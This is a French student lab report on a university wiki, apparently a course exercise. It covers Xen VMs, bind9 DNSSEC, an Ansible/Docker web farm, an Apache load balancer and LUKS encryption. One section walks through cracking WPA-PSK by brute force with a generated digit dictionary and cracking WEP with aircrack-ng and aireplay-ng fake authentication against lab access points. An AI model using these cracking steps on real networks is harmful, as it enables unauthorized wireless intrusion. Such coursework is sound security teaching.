On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
[[Fichier:result_crea_docker.png|900px|center]]&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
https://www.chlamydiae.site/balancer-manager&lt;br /&gt;
&lt;br /&gt;
On obtient:&lt;br /&gt;
[[Fichier:chlamydiae_balancer_result.png|700px|center]]&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
====&amp;lt;s&amp;gt;Sécurisation de données&amp;lt;/s&amp;gt;====&lt;br /&gt;
====Cryptage de données====&lt;br /&gt;
Pour afficher la liste des périphériques connectés au PC:&lt;br /&gt;
  fdisk -l&lt;br /&gt;
&lt;br /&gt;
On la crypte et on crée la partition:&lt;br /&gt;
  cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On formate notre volume en ext4&lt;br /&gt;
  mkfs -t ext4 /dev/mapper/virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On le monte ensuite sur /mnt&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/&lt;br /&gt;
&lt;br /&gt;
On y crée un fichier /mnt/test_file puis on démonte /mnt:&lt;br /&gt;
  umount /mnt&lt;br /&gt;
&lt;br /&gt;
Puis on ferme la communication sur le volume crypté:&lt;br /&gt;
  cryptsetup luksClose virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup; pour pouvoir y accéder, il suffit de faire:&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis &lt;br /&gt;
  -&amp;gt; demande du mot de passe&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/&lt;br /&gt;
&lt;br /&gt;
Et on retrouve notre fichier test_file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si on essaye simplement de monter une clé usb cryptée:&lt;br /&gt;
  mount /dev/sdb1 mnt/tmp&lt;br /&gt;
  mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’&lt;br /&gt;
&lt;br /&gt;
====Sécurisation WiFi par WPA2-EAP====&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51845</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51845"/>
				<updated>2019-12-17T09:49:12Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Cryptage de données */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Introduction==&lt;br /&gt;
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
